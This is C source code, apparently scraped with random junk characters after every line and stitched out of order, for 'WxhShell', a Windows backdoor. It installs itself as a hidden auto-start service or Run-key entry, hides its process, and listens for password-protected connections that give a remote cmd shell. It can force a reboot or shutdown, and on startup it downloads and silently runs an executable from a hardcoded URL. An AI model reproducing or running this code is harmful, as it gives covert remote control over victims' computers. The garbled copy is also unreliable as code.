    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); (iJ9ekB  
    if(Boot(SHUTDOWN)) xe@11/F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Vo`,|3^  
    else { 4S1\5C9  
    closesocket(wsh); E (-@F%Q  
    ExitThread(0); _eZ*_H,\  
    } Ql]+,^kA@  
    break; ~]V}wZt>h  
    } BI|YaZa+p  
  // 获取shell :lE_hY  
  case 's': { TsF>Y""*M  
    CmdShell(wsh); UfSqiu  
    closesocket(wsh); TjY-C m  
    ExitThread(0); Kd!.sB/%  
    break; 2Fc>6]:*  
  } SUN!8 qFA  
  // 退出 k1E(SXcW9  
  case 'x': { kK~,? l  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); nm#,oX2C  
    CloseIt(wsh); PHR:BiMZ  
    break; z)F<{]%  
    } ;"w?@ELE  
  // 离开 jxqKPMf>@%  
  case 'q': { x%RG>),U  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); uW0Dm#  
    closesocket(wsh); d}^G790  
    WSACleanup(); W|CZA  
    exit(1); W,f XHYst  
    break; ?aWMU?S  
        } @8eQ|.q]Q  
  } #p7K2  
  } ]$&N"&q  
`M[o.t  
  // 提示信息 y Q-{ CJ,  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); rsn^Y C  
} LTw.w:"J  
  } "I,=L;p  
s2`Qh9R  
  return; H&So Vi_V  
} o2rL&  
S!8gy,7<J  
// shell模块句柄 G$A=Tu~  
int CmdShell(SOCKET sock) czg9tG8  
{ v%@)I_6[P  
STARTUPINFO si; KdXqW0nm  
ZeroMemory(&si,sizeof(si)); wV^c@.ga  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2bu>j1h  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; GyF  
PROCESS_INFORMATION ProcessInfo; m[DCA\M o@  
char cmdline[]="cmd"; 9>k_z&<  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); sc&u NfJ  
  return 0; gP.PyYUV  
} Yfr4<;%  
b_Dd$NC  
// 自身启动模式 B'&QLO|  
int StartFromService(void) %R^*MUTx  
{ +3[8EM#g  
typedef struct b?K`DUju{0  
{ Ctx`b[&KXX  
  DWORD ExitStatus; 5@_kGoqd  
  DWORD PebBaseAddress; IXv9mr?H}  
  DWORD AffinityMask; A)_HSIVi  
  DWORD BasePriority; K~6u5a9s  
  ULONG UniqueProcessId; RXRoMg!-P  
  ULONG InheritedFromUniqueProcessId; T#.pi@PF>  
}   PROCESS_BASIC_INFORMATION; Sjp ]TWj  
fj97_Q=  
PROCNTQSIP NtQueryInformationProcess; 1) Nj.#)  
-*$ s ;G#  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Zo< j"FG  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; {s>V'+H(F  
'81c>qA  
  HANDLE             hProcess; SS6K7  
  PROCESS_BASIC_INFORMATION pbi; Mp?L9  
GK=b  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8Dkq+H93  
  if(NULL == hInst ) return 0; ,lcS J^yr  
L6./5`bs  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); xF6byTi  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =2@ V}  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); tU0jFBB  
.Ta(v3om%  
  if (!NtQueryInformationProcess) return 0; )&j@={0  
89x;~D1  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?$#P =VK  
  if(!hProcess) return 0; UM<!bNz`  
x c]#8K  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8"}8Nrb0  
G!+Mu2  
  CloseHandle(hProcess); GfV#^qi  
&dG^M2g-F  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >hY.F/[  
if(hProcess==NULL) return 0; H128T8?r[  
A(*c |Aj9  
HMODULE hMod; E>iN>  
char procName[255]; *x:*Q \|  
unsigned long cbNeeded; ?I$-im  
~REfr}0  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); [ 2PPa9F  
HR ;I}J 9  
  CloseHandle(hProcess); L'w]O -86  
1Qw_P('}  
if(strstr(procName,"services")) return 1; // 以服务启动 bXSAZW f  
@'<=E AXe  
  return 0; // 注册表启动 qrf90F)  
} J7Mbv2D  
IN75zn*%  
// 主模块 Zs4NN 2~  
int StartWxhshell(LPSTR lpCmdLine) ?a-5^{{  
{ k [LV^oEg  
  SOCKET wsl; }T-'""*  
BOOL val=TRUE; M!aJKpf  
  int port=0; wYr*('uT  
  struct sockaddr_in door; d( yTz&u)  
{&J~P&,k  
  if(wscfg.ws_autoins) Install(); e%EO/ 2"  
msY6zJc`  
port=atoi(lpCmdLine); c:[ ZknnCe  
S_TD o  
if(port<=0) port=wscfg.ws_port; m(D+!I9  
aS``fE ;O  
  WSADATA data; |`xM45  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ,m8mh)K?0>  
(vp#?-i  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   MdN0 Y@Ll  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); FGzKx9I9  
  door.sin_family = AF_INET; 2;(+]Ad<  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?:h*=0>  
  door.sin_port = htons(port); N=\weuED  
<_c8F!K)T  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { bObsj]  
closesocket(wsl); Nz}PcWF/  
return 1; `FEa(Q+s  
} [8~P Pc^  
TbaZFLr  
  if(listen(wsl,2) == INVALID_SOCKET) { \!xCmQ  
closesocket(wsl); [r!f&R  
return 1; ,OERDWW|6  
} |Sm/s;&c6  
  Wxhshell(wsl); "8"aYD_  
  WSACleanup(); u-_1)'  
dyk(/# *7W  
return 0; .)SR3?   
f!#+cM  
} =t`cHs29  
}*C*!?pcd  
// 以NT服务方式启动 3I(;c ,S  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [2Zl '+  
{ skBD2V4  
DWORD   status = 0; 7WwE] ^M  
  DWORD   specificError = 0xfffffff; b;%t*?t  
?(n v_O  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Xdw pn+7s  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; }=}wLm#&1  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |-;VnC&UY  
  serviceStatus.dwWin32ExitCode     = 0; JHXkQz[Jb  
  serviceStatus.dwServiceSpecificExitCode = 0; yRIXUCy  
  serviceStatus.dwCheckPoint       = 0; ^,,}2dsb>  
  serviceStatus.dwWaitHint       = 0; R8_I ASs  
x|O^#X(,  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); gq"d$Xh$x7  
  if (hServiceStatusHandle==0) return; E7M_R/7@y  
 dOa9D  
status = GetLastError(); v+I-*,R  
  if (status!=NO_ERROR) \ H~zN]3^  
{  vP=68muD  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 78Du  
    serviceStatus.dwCheckPoint       = 0; 6T4I,XrY_F  
    serviceStatus.dwWaitHint       = 0; & +*OV:[;  
    serviceStatus.dwWin32ExitCode     = status; X^Z!!KTH  
    serviceStatus.dwServiceSpecificExitCode = specificError; z DU=2c4W9  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); loO"[8i.k  
    return; X6",Xr! {  
  } 1`YU9?  
5 mC"8N1)  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; DzQ  
  serviceStatus.dwCheckPoint       = 0; l#`G4Vf  
  serviceStatus.dwWaitHint       = 0; #f YB4.i~  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); j:xC \b47"  
} iaCV8`&q%  
0ZM(heQ  
// 处理NT服务事件,比如:启动、停止 E5$]0#jB  
VOID WINAPI NTServiceHandler(DWORD fdwControl) R(`:~@ 3\6  
{ 15,JD  
switch(fdwControl) tAF?. \x"g  
{ #{PwEX !Ct  
case SERVICE_CONTROL_STOP: OQ7 `n<I<)  
  serviceStatus.dwWin32ExitCode = 0; m3TR}=n  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; z9*e%$+S  
  serviceStatus.dwCheckPoint   = 0; K)BQ0v.:[  
  serviceStatus.dwWaitHint     = 0; 0/b  _T  
  { h%krA<G9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #{vC =m73  
  } t* =[RS*  
  return; jx]P:]  
case SERVICE_CONTROL_PAUSE: W*t] d  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; BMy3tyO  
  break; @phVfP"M  
case SERVICE_CONTROL_CONTINUE: \ l#eW x  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; KWZhCS?[(  
  break; 3iIy_nWC  
case SERVICE_CONTROL_INTERROGATE: qh:Bc$S  
  break; aPVzOBp  
}; 3f] ;y<Km  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); USEb} M`  
} 0z8?6~M;<  
Jsysk $R  
// 标准应用程序主函数 V`1,s~"q  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8HQ.MXKP  
{ 1^4:l!0D  
) ](ls@*  
// 获取操作系统版本 @kqxN\DE  
OsIsNt=GetOsVer(); ?9kC[4G  
GetModuleFileName(NULL,ExeFile,MAX_PATH); +yp:douERi  
:-B+W9'5  
  // 从命令行安装 d=PX}o^  
  if(strpbrk(lpCmdLine,"iI")) Install(); _r*\ BM8y  
jYFJk&c  
  // 下载执行文件 \&5V';  
if(wscfg.ws_downexe) { MQQm3VaKS  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) R7kkth  
  WinExec(wscfg.ws_filenam,SW_HIDE); W&IG,7tr  
} r<ucHRO#  
4"|Xndh1.  
if(!OsIsNt) { =/!lK&  
// 如果时win9x,隐藏进程并且设置为注册表启动 A^>@6d $2  
HideProc(); 3R3H+W0{  
StartWxhshell(lpCmdLine); N)H "'#-  
} 4b`E/L}2  
else ('tXv"fT  
  if(StartFromService()) ;:fW]5"R  
  // 以服务方式启动 rG}e\ziKuj  
  StartServiceCtrlDispatcher(DispatchTable); 4,e'B-.  
else 6 Rl[M+Q  
  // 普通方式启动 @PEFl"  
  StartWxhshell(lpCmdLine); <w{?b'/q  
Y%.o TB&  
return 0; nt#9j',6Rn  
} OT%E|) 6'  
94rSB}b.O  
H OR8Jwf:  
.|Huz k+  
=========================================== UqOBr2 UmG  
"`$,qvNN  
mb1mlsE  
GtVT^u_   
@-'a{hBR  
q 84*5-  
" FH+X<  
5To@d|{  
#include <stdio.h>  Y~WdN<g  
#include <string.h> v Y0bK-  
#include <windows.h> jYHnJ}<  
#include <winsock2.h> *nCA6i  
#include <winsvc.h> QB*,+u4  
#include <urlmon.h> i6WH^IQM  
% i4 5  
#pragma comment (lib, "Ws2_32.lib") 2.D2 o  
#pragma comment (lib, "urlmon.lib") wq$$. .E  
tk&AZb,sP  
#define MAX_USER   100 // 最大客户端连接数 ;xZ+1 zmL0  
#define BUF_SOCK   200 // sock buffer _MBhwNBxZ  
#define KEY_BUFF   255 // 输入 buffer {p +&Q|  
)G/bP!^+(  
#define REBOOT     0   // 重启 xB *b7-a  
#define SHUTDOWN   1   // 关机 `tkoS  
gQy%T]  
#define DEF_PORT   5000 // 监听端口  g2vm]j  
 U?*zb  
#define REG_LEN     16   // 注册表键长度 3~~X,ZL  
#define SVC_LEN     80   // NT服务名长度 Mg;pNK\n  
E#$Jg|e  
// 从dll定义API Vu:ZG*^  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Q$E.G63Wl  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); u?=mh`  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); hdPGqJE  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); LwC?t3n  
';tlV u  
// wxhshell配置信息 n<.7tr0f\  
struct WSCFG { /)ZjI W"|  
  int ws_port;         // 监听端口 FDMQ Lxf  
  char ws_passstr[REG_LEN]; // 口令 Zhfp>D  
  int ws_autoins;       // 安装标记, 1=yes 0=no Uwc%'=@  
  char ws_regname[REG_LEN]; // 注册表键名 Lce,]z\ _  
  char ws_svcname[REG_LEN]; // 服务名  g\q .  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 AYAU  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 \@gV$+{9  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 .xT?%xSi/  
int ws_downexe;       // 下载执行标记, 1=yes 0=no (a[BvJf  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" @t%da^-HS"  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 .U!EA0B  
uY]';Ot G  
}; 7=P)`@  
M|(VM=~  
// default Wxhshell configuration X+4Uh I  
struct WSCFG wscfg={DEF_PORT, >w3C Ku<  
    "xuhuanlingzhe", %xkuW]xk  
    1, C-YYG   
    "Wxhshell", Bhv;l/K])  
    "Wxhshell", ^E70$yB ^  
            "WxhShell Service", <Wn~s=  
    "Wrsky Windows CmdShell Service", suN6(p(.  
    "Please Input Your Password: ", 9xQ|Uad+%  
  1, e>MtDJ5  
  "http://www.wrsky.com/wxhshell.exe", 2{ F-@}=  
  "Wxhshell.exe" |]&3*%b@  
    }; LJeq{Z  
q,P.)\0A  
// 消息定义模块 G_F_TNO  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; *~PB  
char *msg_ws_prompt="\n\r? for help\n\r#>"; mdc?~??8  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; A;co1,]gR  
char *msg_ws_ext="\n\rExit."; -H6 0T,o  
char *msg_ws_end="\n\rQuit."; $H<_P'h-B  
char *msg_ws_boot="\n\rReboot..."; Y=XDN:  
char *msg_ws_poff="\n\rShutdown..."; sp\6-*F  
char *msg_ws_down="\n\rSave to "; 6tH}&#K  
G8repY  
char *msg_ws_err="\n\rErr!"; 6s@!Yn|?  
char *msg_ws_ok="\n\rOK!"; v}DNeIh~  
YEv\!%B  
char ExeFile[MAX_PATH]; $<-a>~^Tp  
int nUser = 0; {]IY; cL  
HANDLE handles[MAX_USER];  ,$6si  
int OsIsNt; 1I2n dt  
C6e5*S  
SERVICE_STATUS       serviceStatus; hC$e8t60  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Es[3Ppz  
lMgguu~qg  
// 函数声明 CEj_{uf|  
int Install(void); Te+#  
int Uninstall(void); K3zY-yIco  
int DownloadFile(char *sURL, SOCKET wsh); 3~sV-  
int Boot(int flag); [Q T ;~5  
void HideProc(void); \n}%RD-Ce  
int GetOsVer(void); o6u^hG6~'  
int Wxhshell(SOCKET wsl); c44s @ E  
void TalkWithClient(void *cs); #66i!}  
int CmdShell(SOCKET sock); Ku'a,\7z  
int StartFromService(void); (cVIjo+::  
int StartWxhshell(LPSTR lpCmdLine); }0&Fu?sP  
gbdzS6XW~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); |E6Thvl$  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Ox)<"8M  
Wps^wY  
// 数据结构和表定义 DcxT6[  
SERVICE_TABLE_ENTRY DispatchTable[] = 5%TSUU+<I  
{ &&;.7E  
{wscfg.ws_svcname, NTServiceMain}, s(X\7Hz_nC  
{NULL, NULL} `C4(C4u  
}; >:.c?{%g*  
^2 dQVV.  
// 自我安装 x}ZXeqt{ {  
int Install(void) zW`Hqt;  
{ ?<J~SF Tt  
  char svExeFile[MAX_PATH]; |K. I%B  
  HKEY key; xjp0w7L)J  
  strcpy(svExeFile,ExeFile); IfH/~EtX  
W2<'b05  
// 如果是win9x系统,修改注册表设为自启动 'z9 1aNG]  
if(!OsIsNt) { oyiG04H&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { n{W(8K6d@[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,L%]}8EL"  
  RegCloseKey(key); M[985bl  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~JRq :  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;Q t%>Uo8  
  RegCloseKey(key); %Ja0:e  
  return 0; &t UX(  
    } 2?qT,pN  
  } 2a-]TVL3  
} [#!Y7Ede  
else { /sYr?b!/<6  
8}BM`@MG  
// 如果是NT以上系统,安装为系统服务 1#L%Q(G  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); {yNeZXA>  
if (schSCManager!=0) z}SJ~WY'[  
{ k/F#-},Q.  
  SC_HANDLE schService = CreateService R.1.LB  
  ( #y&5pP:@  
  schSCManager, y /vc\e  
  wscfg.ws_svcname, xsU%?"r  
  wscfg.ws_svcdisp, (e;/Smol  
  SERVICE_ALL_ACCESS, -V2f.QE%  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , bRggt6$z  
  SERVICE_AUTO_START,  `\##M=  
  SERVICE_ERROR_NORMAL, `)$G}7cRUH  
  svExeFile, 8i^ ./P  
  NULL, 44 8%yP  
  NULL, \hBzQ%0  
  NULL, uju'Bs7   
  NULL, gDJ} <^  
  NULL InL_JobE8r  
  ); %4R1rUrgt|  
  if (schService!=0) id,' +<  
  { C`ZU.|R  
  CloseServiceHandle(schService); OGW3Pe0Z'  
  CloseServiceHandle(schSCManager); aQHR=.S]X  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ;eo}/-a_Xw  
  strcat(svExeFile,wscfg.ws_svcname); ^$`mS&3/q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { { Mf-?_%  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ga,kKPL  
  RegCloseKey(key); x ;SY80D  
  return 0; ~p'|A}9[/  
    } #t2N=3dOj  
  } Z molL0y  
  CloseServiceHandle(schSCManager); 9 7HI9R  
} ;wJe%Nw?  
} -~RGjx  
e2fv%  
return 1; X!{K`~DRX  
} |7KWa(V5I  
>tkz%;6  
// 自我卸载 yFd.tQs  
int Uninstall(void) }T PyHq"  
{ {\k }:)  
  HKEY key; B&7:=t,m(  
!Mgo~h"]#  
if(!OsIsNt) { EXbZ9 o*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Txl|F\nK`  
  RegDeleteValue(key,wscfg.ws_regname); ;Y8>?  
  RegCloseKey(key); #I MaN%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { v2r|) c,h  
  RegDeleteValue(key,wscfg.ws_regname); Xhyn! &H5  
  RegCloseKey(key); VcsM Da  
  return 0; q77qdm q7  
  } & E6V'*<93  
} <H#0pFB  
} uF[*@N  
else { Xe:rPxZf~  
YvuE:ia  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); V60"j(  
if (schSCManager!=0) [zq2h3r  
{ XgXXBKf$  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Z0v?3v}9^  
  if (schService!=0) }(DH_0  
  { 1=T;68B  
  if(DeleteService(schService)!=0) { LPs5LE[Pm  
  CloseServiceHandle(schService); 86cnEj=   
  CloseServiceHandle(schSCManager); L%3Bp/`S  
  return 0; M/lC&F(  
  } @+~>utr  
  CloseServiceHandle(schService); R-<8j`[0  
  } Wt@hST  
  CloseServiceHandle(schSCManager); G{,DoCM5WL  
} pd`m//G  
} ~xDu2 -5  
!/a6;:_y  
return 1; k;JDVRL  
} -{C Gn5]_#  
_O Jfd  
// 从指定url下载文件 [n&ES\o#(  
int DownloadFile(char *sURL, SOCKET wsh) 2wPc yD  
{ h-O;5.m-P  
  HRESULT hr; _ iDVd2X"H  
char seps[]= "/"; ?7lW@U0  
char *token; SHB'g){P  
char *file; av5a2r0W1  
char myURL[MAX_PATH]; BHU$QX  
char myFILE[MAX_PATH]; /ece}7M  
x)N QRd  
strcpy(myURL,sURL); N5`z S79W  
  token=strtok(myURL,seps); ? F!c"+C  
  while(token!=NULL) Qv'x+GVW]  
  { &tf(vU;,'  
    file=token; Z'uiU e`&  
  token=strtok(NULL,seps); A)j!Wgs^z  
  }  ~H   
2A";o E  
GetCurrentDirectory(MAX_PATH,myFILE); G;W2Z,  
strcat(myFILE, "\\"); Z]tQmV8e  
strcat(myFILE, file); Ahba1\,N$  
  send(wsh,myFILE,strlen(myFILE),0); A n`*![  
send(wsh,"...",3,0); CCt\[hl  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); <]DUJuF-M  
  if(hr==S_OK) h6IXD N  
return 0; fE)o-q6Z  
else E`@Z9k1 `  
return 1; 3O Ks?i3A  
z$d<ep{6  
} \o72VHG66  
."O%pL]!/b  
// 系统电源模块 h 6?Z  
int Boot(int flag) z$~F9Es9  
{ \/\w|j  
  HANDLE hToken; %K=_  
  TOKEN_PRIVILEGES tkp; Wb cm1I)  
<Uj9~yVN]  
  if(OsIsNt) { 7hu7rWY`E  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); b5Q>e%i#  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); kw#-\RR_c  
    tkp.PrivilegeCount = 1; %QGw`E   
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; l1O"hd'~s  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); uM,Ps}  
if(flag==REBOOT) { Z zp"CK 5  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) eV(9I v[  
  return 0; uifVSf*  
} ,LSiQmV5  
else { >mR8@kob<  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 34N~<-9AY  
  return 0; T2.[iD!A  
} ZMiOKVl  
  } D `V.gV]  
  else { 1kUlQ*[<|  
if(flag==REBOOT) { UuF(n$B  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %m[ZU<v  
  return 0; hOj+z?  
} f^"pZS  
else { f.66N9BHL,  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) :-Py0{s  
  return 0; N]| >\  
} cL03V?} ~  
} >nih:5J,ja  
H=f| X<8  
return 1; ]b sabS?  
} M3|G^q:l  
y@LiUe5  
// win9x进程隐藏模块 Xxd]j]  
void HideProc(void) @@{5]Y  
{ o59$v X,  
m_Q&zp["  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _!, J iOI  
  if ( hKernel != NULL ) c>>.>^5  
  { 1^= QIX  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); uZ JfIC<>  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); g|$;jQ\_  
    FreeLibrary(hKernel); \M._x"  
  } 3/Z>W|w#w  
ez*QP|F*9  
return; /T(9:1/G  
} 7[u>#8  
2u!&Te(!9  
// 获取操作系统版本 rJCb8x+5a  
int GetOsVer(void) gM=:80  
{ !3mt<i]a"  
  OSVERSIONINFO winfo; #C?M-  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); sO 6=w%l^  
  GetVersionEx(&winfo); yrfV&C%=n  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) S >CKm:7  
  return 1; %Pt){9b  
  else |m ?ZE:  
  return 0; fHH  
} G\;6n  
xb9+-{<J  
// 客户端句柄模块 i-5,* 0e6m  
int Wxhshell(SOCKET wsl) ,R<9yEWm  
{ ykPiZK  
  SOCKET wsh; uh2_Rzln  
  struct sockaddr_in client; C}Kl!  
  DWORD myID; 7X/t2Vih@  
#+ AQ:+  
  while(nUser<MAX_USER) T>L?\-  
{  +)e|>  
  int nSize=sizeof(client); y;8&J{dd  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); bDtb6hL  
  if(wsh==INVALID_SOCKET) return 1; ,%l}TSs  
-,p=;t#(  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ZcyGLg0I  
if(handles[nUser]==0) \i%mokfbc  
  closesocket(wsh); (4A'$O2  
else $#u'XyA  
  nUser++; ,bd jk(  
  } 5h6o}  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); h3k>WNT7  
PzNPwd  
  return 0; G--X)h-  
} ]6)u$4X6$  
%%uE^nX>  
// 关闭 socket 1d]F$ >  
void CloseIt(SOCKET wsh) u YT$$'S  
{  G7a l@  
closesocket(wsh); ';/J-l/SE  
nUser--; 0Q_*Z (  
ExitThread(0); /YF:WKr2  
} 'D ?o^  
oR=i5lAU  
// 客户端请求句柄 c AEvv[  
void TalkWithClient(void *cs) .\^0RyJE  
{ U{hu7  
_J W|3q  
  SOCKET wsh=(SOCKET)cs; er)I".|  
  char pwd[SVC_LEN]; Xzf,S;XV~  
  char cmd[KEY_BUFF]; 0zq'Nf?#3  
char chr[1]; S\&3t}_  
int i,j; <TRhnz  
5j1d=h  
  while (nUser < MAX_USER) { d>8" -$  
yivu|q  
if(wscfg.ws_passstr) { &.*UVc2+Y  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); e:9EP,  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !!^z6jpvn  
  //ZeroMemory(pwd,KEY_BUFF); <d H@e  
      i=0; 4r1\&sI$~  
  while(i<SVC_LEN) { D @*<O=_D(  
f;zNNx< ;  
  // 设置超时 >{IPt]PCn  
  fd_set FdRead; r%ES#\L6+|  
  struct timeval TimeOut; ~&73f7  
  FD_ZERO(&FdRead); "/i$_vl  
  FD_SET(wsh,&FdRead); ?s^3 o{!<W  
  TimeOut.tv_sec=8; TD}<U8I8_  
  TimeOut.tv_usec=0; 'YNdrvz  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 0^-1d2Z~  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); EaO@I.[  
;J5z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /;Tc]  
  pwd=chr[0]; f`uRC-B/  
  if(chr[0]==0xd || chr[0]==0xa) { 2(xC|  
  pwd=0; -Qn7+?P  
  break; ]19VEH  
  } *n? 1C"l  
  i++; {G:y?q'z  
    } w!7\wI[  
Y7VO:o  
  // 如果是非法用户,关闭 socket 1jl !VU6  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); E6A"Xo  
} `S@TiD*  
)O~[4xV~  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); .z`70ot?  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); GrL{q;IO  
^QRg9s,T<  
while(1) { |:=o\eu&  
-[V-f> :  
  ZeroMemory(cmd,KEY_BUFF); GlAI~\A  
p?:5 U[KM  
      // 自动支持客户端 telnet标准   1q;v|F  
  j=0; Nujnm$!,Q  
  while(j<KEY_BUFF) { e{P v:jl  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); WKEb '^  
  cmd[j]=chr[0]; LmF,en5  
  if(chr[0]==0xa || chr[0]==0xd) { \beO5]KS<  
  cmd[j]=0; C8}:z\A_@Z  
  break; ~9dpB>+  
  } q!5:M\  
  j++; %SM;B-/zHt  
    } _8VP'S=  
A IP~A]T  
  // 下载文件 az(<<2=  
  if(strstr(cmd,"http://")) { PLyity-L[7  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Cl}nP UoL  
  if(DownloadFile(cmd,wsh)) Nz,yd%ua  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9B: 3Ha=  
  else DZ8|20b  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i<m(neX[H  
  } I0)`tQ +  
  else { _>;Wz7  
JbMTULA  
